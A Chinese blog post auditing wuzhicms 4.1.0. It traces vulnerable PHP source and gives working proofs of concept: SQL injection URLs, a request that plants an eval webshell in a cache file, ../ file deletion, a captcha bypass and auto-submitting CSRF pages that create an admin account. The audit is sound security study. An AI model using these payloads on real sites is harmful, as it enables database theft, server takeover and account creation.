wuzhicms代码审计

准备

通过网盘分享的文件:wuzhicms-4.1.0.zip
链接: https://pan.baidu.com/s/1fVsmBHV_0gp4qWEvQuB2Lw 提取码: rh9j

初审(mvc参数)

了解到wuzhicms根据MVC,寻找参数

  1. 打开网站,进入index.php,查看index.php源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
// +----------------------------------------------------------------------
// | wuzhicms [ 五指互联网站内容管理系统 ]
// | Copyright (c) 2014-2015 http://www.wuzhicms.com All rights reserved.
// | Licensed ( http://www.wuzhicms.com/licenses/ )
// | Author: wangcanjia <phpip@qq.com>
// +----------------------------------------------------------------------
/**
 * 程序入口文件
 */

//检测PHP环境
if(PHP_VERSION < '5.2.0') die('Require PHP > 5.2.0 ');
//定义当前的网站物理路径
define('WWW_ROOT',dirname(__FILE__).'/');

require './configs/web_config.php';
require COREFRAME_ROOT.'core.php';

$app = load_class('application');
$app->run();
?>
  1. 追溯到 load_class到—————>\coreframe\core.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function load_class($class, $m = 'core', $param = NULL) {
    static $static_class = array();

    //判断是否存在类,存在则直接返回
    if (isset($static_class[$class])) {
        return $static_class[$class];
    }
    $name = FALSE;
    if (file_exists(COREFRAME_ROOT.'app/'.$m.'/libs/class/'.$class.'.class.php')) {
        $name = 'WUZHI_'.$class;
        if (class_exists($name, FALSE) === FALSE) {
            require_once(COREFRAME_ROOT.'app/'.$m.'/libs/class/'.$class.'.class.php');
        }
    }
    //如果存在扩展类,则初始化扩展类
    if ($class!='application' && $class!='admin' && file_exists(COREFRAME_ROOT.'app/'.$m.'/libs/class/EXT_'.$class.'.class.php')) {
        $name = 'EXT_'.$class;
  .............
  1. 查找$static_class的类 (搜索class目录名称以及根据$app = load_class(‘application’);)定位到——–>

    coreframe\app\core\libs\class\application.class.php

1
2
3
4
5
6
public function __construct() {
        self::setconfig();
        define('M',$this->_m);
        define('F',$this->_f);
        define('V',$this->_v);
    }

参数为 m f v

审计

审计1(xss)

登录后台后,在“我的提问”中存在xss漏洞

输入测试语句

image-20250717000001395

将 <s 过滤

审计2(xss)

未登录后台,在搜索界面测试xss代码

在将代码闭合之后发现未出现弹窗

将 / 过滤,转为html编码,发现 # 和 ; 也被过滤

image-20250717003336068

审计3(rce)

抓包进行验证码测试(只输入用户名和密码,不输入验证码)

1
2
3
4
username=admin&password=admin&checkcode=&savecookie=1&submit=

&savecookie=1-------->&savecookie=0
直接绕过验证码验证
  1. 定位到\configs\web_config.php

    1
    2
    define('TEST_CHECKCODE',0);//1 打开测试验证码,0 正常验证码
    define('SQL_LOG',0);
  2. TEST_CHECKCODE———> \api\identifying_code.php\

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    $identifying = load_class('identifying_code');
    $code = random_string('diy', 4, 'abcdefghkmnpruvwxyzABCDEFGHKMNPRUVWXYZ23456789');
    
    if(defined('TEST_CHECKCODE') && TEST_CHECKCODE==1) {
    	$code = 'AAAA';
    	$_SESSION['code'] = strtolower($code);
    	header("Location:".R.'images/checkcode.png');
    } else {
    	$_SESSION['code'] = strtolower($code);
    	$w = isset($GLOBALS['w']) ? intval($GLOBALS['w']) : 120;
    	$h = isset($GLOBALS['h']) ? intval($GLOBALS['h']) : 27;
    	$identifying->image_one($code,$w,$h);
    }

审计4(sql)

登录界面有跳转,url输入编号发现报错(测试能否报错注入)

根据复现1(sql)所寻找的可控变量($where)

  1. 寻找由$where控制的变量

    coreframe\app\core\libs\class\db.class.php

    1
    2
    3
    4
    final public function delete($table, $where = '') {
        $where = $this->array2sql($where);
        return $this->master_db->delete($table, $where);
    }
  2. 跟进这个delete()

    /coreframe/app/member/admin/group.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    public function del() {
    		if(isset($GLOBALS['groupid']) && $GLOBALS['groupid']) {
    			if(is_array($GLOBALS['groupid'])) {
    				$where = ' IN ('.implode(',', $GLOBALS['groupid']).')';
    				foreach($GLOBALS['groupid'] as $gid) {
    					$this->db->delete('member_group_priv', array('groupid' => $gid));
    				}
    			} else {
    				$where = ' = '.$GLOBALS['groupid'];
    				$this->db->delete('member_group_priv', array('groupid' => $GLOBALS['groupid']));
    			}
    
    			$this->db->delete('member_group', 'issystem != 1 AND groupid'.$where);
    			$this->group->set_cache();
    
    
    			if(isset($GLOBALS['callback'])){
    				echo $GLOBALS['callback'].'({"status":1})';
    			}else{
    				MSG(L('operation_success'));
    			}
    		}else{
    			if(isset($GLOBALS['callback'])){
    				echo $GLOBALS['callback'].'({"status":0})';
    			}else{
    				MSG(L('operation_failure'));
    			}
    		}
    	}
  3. 没有对$GLOBALS[‘groupid’]进行过滤处理,程序通过load_class()来加载核心类函数,实例化对象db并引用delete()方法:

    1
    2
    3
    4
    final public function delete($table, $where = '') {
        $where = $this->array2sql($where);
        return $this->master_db->delete($table, $where);
    }

    array2sql($where)调用$where

  4. 写入测试代码

    1
    http://wuzhicms:90/index.php?m=member&f=group&v=del&groupid=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)&_su=wuzhicms&%20menuid=86&callback=jQuery111105555776097227751_1667533450920&=1667533450921
    image-20250719014224414

复现

复现1(sql)

  1. 寻找$sql相关的文件以及定义

    coreframe\app\core\libs\class\mysql.class.php

1
2
3
4
5
$query = $this->query($sql);
private function get_param_sql($sql,$param = array()) {
public function get_page_list_count($sql,$param = array()) {
public function get_page_list($sql,$param = array(), $page = 0, $pagesize = 0 ) {
都是无用法的
1
2
3
4
5
6
7
8
9
10
public function query($sql, $type = '', $cachetime = FALSE) {
        //if($_SERVER['REMOTE_ADDR']=='127.0.0.1') echo $sql."<br>";
		$func = $type == 'UNBUFFERED' && @function_exists('mysql_unbuffered_query') ? 'mysql_unbuffered_query' : 'mysql_query';
		if(!($query = $func($sql, $this->link)) && $type != 'SILENT') {
			$this->halt('MySQL Query Error', $sql);
		}
		$this->querynum++;
		$this->histories[] = $sql;
		return $query;
	}
  1. 只能从query追踪到delete的定义(存在对query的调用)
1
2
3
4
5
6
	public function delete($table, $where = '') {
		$where = $where ? ' WHERE '.$where: '';
		$sql = 'DELETE FROM `'.$this->tablepre.$table.'`'.$where;
		return $this->query($sql);
	}
#它把$sql参数当作sql语句执行了,可能存在sql
  1. 追踪参数$where
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function listing() {
       $siteid = get_cookie('siteid');
       $page = isset($GLOBALS['page']) ? intval($GLOBALS['page']) : 1;
       $page = max($page,1);
       if(isset($GLOBALS['keywords'])) {
           $keywords = $GLOBALS['keywords'];
           $where = "`name` LIKE '%$keywords%'";
       } else {
           $where = '';
       }
	$result = $this->db->get_list('copyfrom', $where, '*', 0, 20,$page);
	$pages = $this->db->pages;
       $total = $this->db->number;
	include $this->template('copyfrom_listing');
}
  1. /index.php?m=core&f=copyfrom&v=listing&_su=wuzhicms 搜索框存在注入

    (copyfrom文件下的listing方法中存在一个可控全局变量参数keywords由$where控制)

  2. 测试抓包写入语句**(延时注入)**

    1
    m=core&f=copyfrom&v=listing&_su=wuzhicms&keywords=1' AND (SELECT 1228 FROM (SELECT(SLEEP(5)))jFgw)--+ JQJJ

其他注入

1
2
3
4
POC:/wuzhicms/www/index.php?m=promote&f=index&v=search&_su=wuzhicms&fieldtype=place&keywords=88888%bf%27/%2AAAA%2A//%2AAAA%2A/AND/%2AAAA%2A//%2AAAA%2A/%28SELECT/%2AAAA%2A//%2AAAA%2A/6572/%2AAAA%2A//%2AAAA%2A/FROM/%2AAAA%2A//%2AAAA%2A/%28SELECT%28SLEEP%284%29%29%29GZXQ%29--%20vLAW
POC:/wuzhicms/www/index.php?m=coupon&f=card&v=detail_listing&_su=wuzhicms&groupname=88888%bf%27/%2AAAA%2A//%2AAAA%2A/AND/%2AAAA%2A//%2AAAA%2A/%28SELECT/%2AAAA%2A//%2AAAA%2A/6572/%2AAAA%2A//%2AAAA%2A/FROM/%2AAAA%2A//%2AAAA%2A/%28SELECT%28SLEEP%284%29%29%29GZXQ%29--%20vLAW
POC:wuzhicms/www/index.php?m=order&f=card&v=listing&_su=wuzhicms&keytype=1&batchid=123d%27/%2AAAA%2A//%2AAAA%2A/AND/%2AAAA%2A//%2AAAA%2A/%28SELECT/%2AAAA%2A//%2AAAA%2A/3462/%2AAAA%2A//%2AAAA%2A/FROM/%2AAAA%2A//%2AAAA%2A/%28SELECT%28SLEEP%284%29%29%29aR%29--%20
POC:/wuzhicms/www/index.php?m=order&f=goods&v=listing&_su=wuzhicms&keywords=888111&keytype=0&cardtype=188%27/%2AAAA%2A//%2AAAA%2A/AND/%2AAAA%2A//%2AAAA%2A/%28SELECT/%2AAAA%2A//%2AAAA%2A/3462/%2AAAA%2A//%2AAAA%2A/FROM/%2AAAA%2A//%2AAAA%2A/%28SELECT%28SLEEP%284%29%29%29aR%29--%20

复现2(sql)

coreframe\app\promote\admin\index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function search() {
    $siteid = get_cookie('siteid');
    $page = isset($GLOBALS['page']) ? intval($GLOBALS['page']) : 1;
    $page = max($page,1);
    $fieldtype = $GLOBALS['fieldtype'];
    $keywords = $GLOBALS['keywords'];
    if($fieldtype=='place') {
        $where = "`siteid`='$siteid' AND `name` LIKE '%$keywords%'";
        $result = $this->db->get_list('promote_place', $where, '*', 0, 50,$page,'pid ASC');
        $pages = $this->db->pages;
        $total = $this->db->number;
        include $this->template('listingplace');
    } else {
        $where = "`siteid`='$siteid' AND `$fieldtype` LIKE '%$keywords%'";
        $result = $this->db->get_list('promote',$where, '*', 0, 20,$page,'id DESC');
        $pages = $this->db->pages;
        $total = $this->db->number;
        include $this->template('listing');
    }

获取到的keywords参数拼接到SQL语句,然后带入数据库执行,导致程序在实现上存在SQL注入漏洞,攻击者可利用该漏洞获取数据库敏感信息

1
/index.php?m=promote&f=index&v=search&_su=wuzhicms&fieldtype=place&keywords=1111%'*%23(拼接sql语句)

复现3(文件写入)

  1. 寻找file_put_contents 函数的参数是否可控制

    coreframe\app\core\libs\function\common.func.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    /**
     * 写入缓存
     * @param $filename 文件名
     * @param $data 数组或者字符串
     * @param string $dir 写入目录名,文件缓存写入:/caches/$dir
     * @return bool
     */
    function set_cache($filename, $data, $dir = '_cache_'){
    	static $_dirs;
    	if ($dir == '') return FALSE;
    	if (!preg_match('/([a-z0-9_]+)/i', $filename)) return FALSE;
    	$cache_path = CACHE_ROOT . $dir . '/';
    	if (!isset($_dirs[$filename . $dir])) {
    		if (!is_dir($cache_path)) {
    			mkdir($cache_path, 0777, true);
    		}
    		$_dirs[$filename . $dir] = 1;
    	}
    
    	$filename = $cache_path . $filename . '.' . CACHE_EXT . '.php';
    	if (is_array($data)) {
    		$data = '<?php' . "\r\n return " . array2string($data) . '?>';
    	}
    	file_put_contents($filename, $data);
    }
  2. file_put_contents存在于set_cache中,寻找定义

    /coreframe/app/attachment/admin/index.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    public function set()
     {
         if (isset($GLOBALS['submit'])) {
             set_cache(M, $GLOBALS['setting']);
             MSG(L('operation_success'), HTTP_REFERER, 3000);
         } else {
             $show_dialog = 1;
             load_class('form');
             $setting = &$this->_cache;
             if(!isset($setting['show_mode'])) {
        $setting = array('show_mode'=>2,'watermark_enable'=>1,'watermark_pos'=>0,'watermark_text'=>'www.wuzhicms.com');
        set_cache(M, $setting);
    }
             include $this->template('set', M);
         }
     }

    \coreframe\app\tags\admin\index.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    public function set()
    	{
    		 if(isset($GLOBALS['dosubmit']))
    		 {
    			 $cache_in_db = cache_in_db($GLOBALS['setting'], V, M);
    
    			 set_cache(M, $GLOBALS['setting']);
    			 MSG( L('operation_success'), HTTP_REFERER, 3000);
    		 }
    		 else
    		 {
                 $show_dialog = 1;
    			 load_class('form');
    			 load_function('template');
    			 $templates = select_template(M);
    			 $setting = cache_in_db('', V, M);
    			 $linkage = $this->db->get_list('linkage', '', 'name,linkageid', 0, 100, '',"linkageid ASC", '', 'linkageid');
    			 foreach($linkage AS $k=>$v)
    			 {
    				 $linkage[$k] = $v['name'];
    			 }
    		     include $this->template('set',M);
    		 }
    	}

    $data就是$GLOBALS[‘setting’](可控)

    $filename(不可控)

  3. 寻找一个可以包含该缓存文件的地方 $filename(搜索)

    coreframe\app\core\libs\function\common.func.php

    1
    2
    3
    4
    5
    6
    function get_cache($filename, $dir = '_cache_'){
    	$file = get_cache_path($filename, $dir);
    	if (!file_exists($file)) return '';
    	$data = include $file;
    	return $data;
    }
  4. 查找get_cache用法

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    public function ueditor()
     {
         if (isset($GLOBALS['submit'])) {
             $cache_in_db = cache_in_db($GLOBALS['setting'], V, M);
             set_cache(V, $GLOBALS['setting']);
             MSG(L('operation_success'), HTTP_REFERER, 3000);
         }
         else {
             $setting = get_cache(V);
    if(empty($setting)) $setting = cache_in_db('', V, M);
             include $this->template(V, M);
         }
     }
  5. ueditor()调用

    编写语句

    1
    2
    3
    4
    # 1 写入一句话木马到缓存文件
    GET /wuzhicms/index.php?m=attachment&f=index&v=set&_su=wuzhicms&submit=1&setting=<?php @eval($_POST['shell']);?>
    # 2 读取缓存文件
    GET /wuzhicms/index.php?m=attachment&f=index&v=ueditor&_su=wuzhicms

复现4(后台任意文件删除)

  1. unlink函数 来找文件删除

    coreframe\app\attachment\admin\index.php

    1
    2
    3
    4
    private function my_unlink($path)
      {
          if(file_exists($path)) unlink($path);
      }
  2. 此文件下面还有 函数定义del调用了该功能点进行文件删除.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    public function del()
     {
         
         if (!$id && !$url) MSG(L('operation_failure'), HTTP_REFERER, 3000);
         if ($id) {
         	if(!is_array($id)) {
    	$ids = array($id);
    } else {
    	$ids = $id;
    }
       
    foreach($ids as $id) {
    	$where = array('id' => $id);
    	$att_info = $this->db->get_one('attachment', $where, 'usertimes,path');
    	if ($att_info['usertimes'] > 1) {
    		$this->db->update('attachment', 'usertimes = usertimes-1', $where);
    	}
    	else {
    		$this->my_unlink(ATTACHMENT_ROOT . $att_info['path']);
    		$this->db->delete('attachment', $where);
    		$this->db->delete('attachment_tag_index', array('att_id'=>$id));
    	}
    }
    MSG(L('delete success'), HTTP_REFERER, 1000);
         }
         else {
             if (!$url) MSG('url del ' . L('operation_failure'), HTTP_REFERER, 3000);
             $path = str_ireplace(ATTACHMENT_URL, '', $url);
             if ($path) {
                 $where = array('path' => $path);
                 $att_info = $this->db->get_one('attachment', $where, 'usertimes,id');
       
                 if (empty($att_info)) {
                     $this->my_unlink(ATTACHMENT_ROOT . $path);
                     MSG(L('operation_success'), HTTP_REFERER, 3000);
                 }
       
                 if ($att_info['usertimes'] > 1) {
                     $this->db->update('attachment', 'usertimes = usertimes-1', array('id' => $att_info['id']));
                 }
                 else {
                     $this->my_unlink(ATTACHMENT_ROOT . $path);
                     $this->db->delete('attachment', array('id' => $att_info['id']));
                     MSG(L('operation_success'), HTTP_REFERER, 3000);
                 }
             }
             else {
                 MSG(L('operation_failure'), HTTP_REFERER, 3000);
             }
         }
     }

    其中

    1
    2
    $id = isset($GLOBALS['id']) ? $GLOBALS['id'] : '';
      $url = isset($GLOBALS['url']) ? remove_xss($GLOBALS['url']) : '';

    调用id url,查看remove_xss的过滤

  3. 查看过滤,追溯remove_xss

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    function remove_xss($val){
    	// remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
    	// this prevents some character re-spacing such as <java\0script>
    	// note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs
    	$val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);
    
    	// straight replacements, the user should never need these since they're normal characters
    	// this prevents like <IMG SRC=@avascript:alert('XSS')>
    	$search = 'abcdefghijklmnopqrstuvwxyz';
    	$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
    	$search .= '1234567890!@#$%^&*()';
    	$search .= '~`";:?+/={}[]-_|\'\\';
    	for ($i = 0; $i < strlen($search); $i++) {
    		// ;? matches the ;, which is optional
    		// 0{0,7} matches any padded zeros, which are optional and go up to 8 chars
    
    		// @ @ search for the hex values
    		$val = preg_replace('/(&#[xX]0{0,8}' . dechex(ord($search[$i])) . ';?)/i', $search[$i], $val); // with a ;
    		// @ @ 0{0,7} matches '0' zero to seven times
    		$val = preg_replace('/(&#0{0,8}' . ord($search[$i]) . ';?)/', $search[$i], $val); // with a ;
    	}
    
    	// now the only remaining whitespace attacks are \t, \n, and \r
    	$ra1 = array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
    	$ra2 = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
    	$ra = array_merge($ra1, $ra2);

    寻找到过滤的字符

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    /**
     * 过滤SQL关键字,mysql入库字段过滤
     * @param $val 要过滤的字符串
     * @return mixed
     */
    function sql_replace($val){
    	$val = str_replace("\t", '', $val);
    	$val = str_replace("%20", '', $val);
    	$val = str_replace("%27", '', $val);
    	$val = str_replace("*", '', $val);
    	$val = str_replace("'", '', $val);
    	$val = str_replace("\"", '', $val);
    	$val = str_replace("/", '', $val);
    	$val = str_replace(";", '', $val);
    	$val = str_replace("#", '', $val);
    	$val = str_replace("--", '', $val);
    	$val = addslashes($val);
    	return $val;
    }
  4. 寻找id参数,传入$path(还是在del的定义中)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    if ($id) {
            	if(!is_array($id)) {
    				$ids = array($id);
    			} else {
    				$ids = $id;
    			}
    			foreach($ids as $id) {
    				$where = array('id' => $id);
    				$att_info = $this->db->get_one('attachment', $where, 'usertimes,path');
    				if ($att_info['usertimes'] > 1) {
    					$this->db->update('attachment', 'usertimes = usertimes-1', $where);
    				}
    				else {
    					$this->my_unlink(ATTACHMENT_ROOT . $att_info['path']);
    					$this->db->delete('attachment', $where);
    					$this->db->delete('attachment_tag_index', array('att_id'=>$id));
    				}
    			}

    如果取id,则传入$path需要数据库

    如果不传入id参数,判断我们传入的 path 是否在数据库中,如果不在就会对我们传入的 $path 进行删除。

  5. 删除测试文件(根目录下 text.txt),抓包(删除其他文件)

    1
    index.php?v=del&url=../text.txt&m=attachment&f=index&_su=wuzhicms&_menuid=29&_submenuid=52 HTTP/1.1

复现5(信息泄露)

image-20250719015335393

在后台页面发现一出phpinfo

复现6(csrf)

系统设置 => 权限管理 => 添加管理员

修改权限时提交抓包,显示路径

路径:/index.php?m=core&f=power&v=add&&_su=wuzhicms

  1. 根据路径寻找代码

    coreframe\app\core\admin\power.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    /**
    	 * 添加管理员
    	 */
    	public function add() {
    		if(isset($GLOBALS['submit'])) {
                if(empty($GLOBALS['form']['username'])) MSG(L('parameter error'));
                $username = $GLOBALS['form']['username'];
                $r = $this->db->get_one('member',array('username'=>$username));
                if(!$r['uid']) MSG(L('账号不存在,请先管理会员处-添加账号'));
                $rs = $this->db->get_one('admin',array('uid'=>$r['uid']));
                if($rs) MSG(L('管理员已存在!'));
    			$formdata = array();
    			$formdata['uid'] = $r['uid'];
                if(empty($GLOBALS['form']['password'])) {
                    $formdata['password'] = '';
                } else {
                    $factor = substr(random_string('md5'),0,6);
                    $password = md5(md5($GLOBALS['form']['password']).$factor);
                    $formdata['password'] = $password;
                    $formdata['factor'] = $factor;
                }
                $formdata['role'] = ','.implode(',',$GLOBALS['form']['role']).',';
                $formdata['truename'] = remove_xss($GLOBALS['form']['truename']);
    			$this->db->insert('admin',$formdata);
    			MSG(L('operation success'));
    		} else {
                $show_formjs = 1;
    			$form = load_class('form');
                $roles = $this->db->get_list('admin_role', '', '*', 0, 100);
    
    			include $this->template('power_add');
    		}
    	}

    add函数用于添加管理员

    是否点击提交操作——–判断用户名是否为空(不为空则将username值赋值给 $username )——–从数据库中取出前台账户(不存在则添加会员)——是否已经是管理员(并且判断是否设置密码)———最后将修改内容添加到数据库中

  2. 通过抓包构造html

    右击转到request,右击转到Engage tools → Generate CSRF PoC

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    <html><body>
        <script type="text/javascript">
        function post(url,fields)
        {
        var p = document.createElement("form");
        p.action = url;
        p.innerHTML = fields;
        p.target = "_self";
        p.method = "post";
        document.body.appendChild(p);
        p.submit();
        }
        function csrf_hack()
        {
        var fields;
    
        fields += "<input type='hidden' name='form[role][]' value='1' />";
        fields += "<input type='hidden' name='form[username]' value='hack123' />"; 
        fields += "<input type='hidden' name='form[password]' value='' />"; 
        fields += "<input type='hidden' name='form[truename]' value='taoge@5ecurity' />"; 
    
        var url = "http://127.0.0.1/www/index.php?m=core&f=power&v=add&&_su=wuzhicms&_menuid=61&_submenuid=62&submit=提交";
        post(url,fields);
        }
        window.onload = function() { csrf_hack();}
        </script>
        </body></html>

复现7(csrf)

系统设置 => 邮件服务器

(同上)

  1. 通过抓包构造html,

    右击转到request,右击转到Engage tools → Generate CSRF PoC

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    <html><body>
    <script type="text/javascript">
    function post(url,fields)
    {
    var p = document.createElement("form");
    p.action = url;
    p.innerHTML = fields;
    p.target = "_self";
    p.method = "post";
    document.body.appendChild(p);
    p.submit();
    }
    function csrf_hack()
    {
    var fields;
    
    fields += "<input type='hidden' name='info[username]' value='hack123' />";
    fields += "<input type='hidden' name='info[password]' value='hacktest' />"; 
    fields += "<input type='hidden' name='info[pwdconfirm]' value='hacktest' />"; 
    fields += "<input type='hidden' name='info[email]' value='taoge@5ecurity.cn' />"; 
    fields += "<input type='hidden' name='info[mobile]' value='' />"; 
    fields += "<input type='hidden' name='modelids[]' value='10' />"; 
    fields += "<input type='hidden' name='info[groupid]' value='3' />"; 
    fields += "<input type='hidden' name='pids[]' value='0' />"; 
    fields += "<input type='hidden' name='pids[]' value='0' />"; 
    fields += "<input type='hidden' name='pids[]' value='0' />";
    fields += "<input type='hidden' name='pids[]' value='0' />"; 
    fields += "<input type='hidden' name='avatar' value='' />"; 
    fields += "<input type='hidden' name='islock' value='0' />";
    fields += "<input type='hidden' name='sys_name' value='0' />";
    fields += "<input type='hidden' name='info[birthday]' value='' />"; 
    fields += "<input type='hidden' name='info[truename]' value='' />"; 
    fields += "<input type='hidden' name='info[sex]' value='0' />";
    fields += "<input type='hidden' name='info[marriage]' value='0' />";
    
    var url = "http://127.0.0.1/www/index.php?m=member&f=index&v=add&_su=wuzhicms&_menuid=30&_submenuid=74&submit=提交";
    post(url,fields);
    }
    window.onload = function() { csrf_hack();}
    </script>
    </body></html>

wuzhicms代码审计
http://example.com/2025/10/27/wuzhicms代码审计/
作者
Piggy Sprint
发布于
2025年10月27日
许可协议